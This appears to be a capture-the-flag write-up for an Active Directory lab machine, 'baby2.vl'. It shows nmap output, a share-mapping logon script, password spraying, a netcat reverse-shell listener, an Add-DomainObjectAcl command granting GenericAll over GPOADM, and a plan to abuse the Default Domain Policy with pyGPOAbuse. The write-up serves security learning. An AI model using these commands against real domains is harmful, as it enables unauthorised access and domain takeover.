PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-14 23:10:17Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services |_ssl-date: 2025-03-14T23:11:42+00:00; -2h00m00s from scanner time. | rdp-ntlm-info: | Target_Name: BABY2 | NetBIOS_Domain_Name: BABY2 | NetBIOS_Computer_Name: DC | DNS_Domain_Name: baby2.vl | DNS_Computer_Name: dc.baby2.vl | DNS_Tree_Name: baby2.vl | Product_Version: 10.0.20348 |_ System_Time: 2025-03-14T23:11:01+00:00
Sub MapNetworkShare(sharePath, driveLetter) Dim objNetwork Set objNetwork = CreateObject("WScript.Network") ' Check if the drive is already mapped Dim mappedDrives Set mappedDrives = objNetwork.EnumNetworkDrives Dim isMapped isMapped = False For i = 0 To mappedDrives.Count - 1 Step 2 If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then isMapped = True Exit For End If Next If isMapped Then objNetwork.RemoveNetworkDrive driveLetter & ":", True, True End If objNetwork.MapNetworkDrive driveLetter & ":", sharePath If Err.Number = 0 Then WScript.Echo "Mapped " & driveLetter & ": to " & sharePath Else WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description End If Set objNetwork = Nothing End Sub
After some password spraying we can see that the user library and Carl.Moore have the same password as their usernames and now we get more access to the shares
And start our listener and wait for someone to login
1
stty raw -echo; (stty size; cat) | nc -lvnp 3001
ROOT
Shell as Amelia.Griffiths
We noticed that Amelia was part of the legacy group. Earlier we identified that the legacy group has WriteDacl over the GPOADM user. Following the bloodhound walkthrough, first we give the legacy group GenericAll permission over GPOADM
1
Add-DomainObjectAcl -TargetIdentity "GPOADM" -PrincipalIdentity legacy -Domain baby2.vl -Rights All -Verbose
Now that we have GenericAll we changed the password of the GPOADM:
As we saw earlier, GPOADM has GenericAll over the Default Domain Policy so we will use a tool named pyGPOAbuse to help us exploit it. https://github.com/Hackndo/pyGPOAbuse
We grab the GPO-ID and then we will run the python file that creates a user.